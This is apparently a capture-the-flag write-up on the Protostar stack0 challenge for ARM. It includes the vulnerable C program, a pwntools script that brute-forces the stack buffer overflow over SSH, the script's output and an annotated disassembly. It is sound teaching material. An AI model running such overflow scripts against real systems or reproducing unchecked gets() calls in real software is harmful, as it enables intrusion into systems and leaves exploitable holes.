Let's get started with binary exploitation on ARM systems. This challenge is based on the 'protostar' series.
This is our vulnerable program:
#include <stdio.h>
int main() {
volatile int modified;
char buffer[64];
modified = 0;
gets(buffer);
if (modified != 0)
printf("modified: %d\n", modified);
else
printf("nope");
}
The goal is to abuse the unsafe gets
function to modify the modified
variable.
Both buffer
and modified
are on the stack. A buffer
overflow will overwrite the modified
variable.
We can use pwntools
to find the correct offset:
#!/usr/bin/env python3
from pwn import *
# ssh into the ARM box
socket = ssh(host='192.168.0.1', user='root', password='')
i = 0
while True:
i += 1
print('test', i)
payload = 'A' * i
process = socket.process('/root/protostarm/stack0/stack0')
process.sendline(payload)
res = process.recv().decode()
process.close()
if 'nope' not in res:
print('i =', i)
print(res)
break
socket.close()
After a while we have:
[+] Connecting to 192.168.0.1 on port 22: Done
[*] root@192.168.0.1:
Distro Debian testing
OS: linux
Arch: arm
Version: 4.9.0
ASLR: Enabled
test 0
[...]
test 64
[+] Starting remote process '/root/protostarm/stack0/stack0' on 192.168.0.1: pid 1623
[*] Stopped remote process 'stack0' on 192.168.0.1 (pid 1623)
test 65
[+] Starting remote process '/root/protostarm/stack0/stack0' on 192.168.0.1: pid 1627
[*] Stopped remote process 'stack0' on 192.168.0.1 (pid 1627)
i = 65
modified : 65
[*] Closed connection to '192.168.0.1'
We successfully changed the modified
variable by entering 65 A's into the buffer
.
Now let's have a look at the disassembly so we can understand why it's 65:
00000538 <main>:
538: b580 push {r7, lr} ; save r7 and lr
; r7: saved frame pointer in thumb mode
; lr: saved instruction pointer (Link Register)
53a: b092 sub sp, #72 ; 0x48 ; reserve stack space
53c: af00 add r7, sp, #0 ; r7 = sp + 0
53e: 2300 movs r3, #0 ; r3 = 0
540: 647b str r3, [r7, #68] ; 0x44 ; modified = r3
542: 1d3b adds r3, r7, #4 ; r3 points to buffer
544: 4618 mov r0, r3 ; r0 = r3
546: f7ff ef58 blx 3f8 <gets@plt> ; gets(&buffer);
54a: 6c7b ldr r3, [r7, #68] ; 0x44 ; r3 = modified
54c: 2b00 cmp r3, #0 ; modified == 0 ?
54e: d007 beq.n 560 <main+0x28>
550: 6c7b ldr r3, [r7, #68] ; 0x44
552: 4619 mov r1, r3 ; r1 = modified (2nd argument)
554: 4b07 ldr r3, [pc, #28] ; (574 <main+0x3c>)
556: 447b add r3, pc
558: 4618 mov r0, r3 ; r0 = "modified: %d\n" (1st argument)
55a: f7ff ef48 blx 3ec <printf@plt> ; printf("modified: %d\n", modified);
55e: e004 b.n 56a <main+0x32>
560: 4b05 ldr r3, [pc, #20] ; (578 <main+0x40>)
562: 447b add r3, pc
564: 4618 mov r0, r3 ; r0 = r3 (load first arg)
566: f7ff ef42 blx 3ec <printf@plt> ; printf("nope");
56a: 2300 movs r3, #0 ; init r3
56c: 4618 mov r0, r3 ; r0 = r3
56e: 3748 adds r7, #72 ; 0x48 ; restore stack space
570: 46bd mov sp, r7 ; restore caller stack
572: bd80 pop {r7, pc} ; restore sp/pc
574: 00000072 andeq r0, r0, r2, ror r0
578: 00000076 andeq r0, r0, r6, ror r0
Stack is 72 bytes long and organized this way:
+++
| modified 00 |
| modified 00 |
| modified 00 |
| modified 00 |
| buffer[63] | i = 64
| |
| [...] |
| |
| buffer[0] | i = 1
--------
gets
appends a null terminator so it needs 65 A's to modify the variable. If we initially set modified
to 1, it only needs 64 A's.
Top comments (0)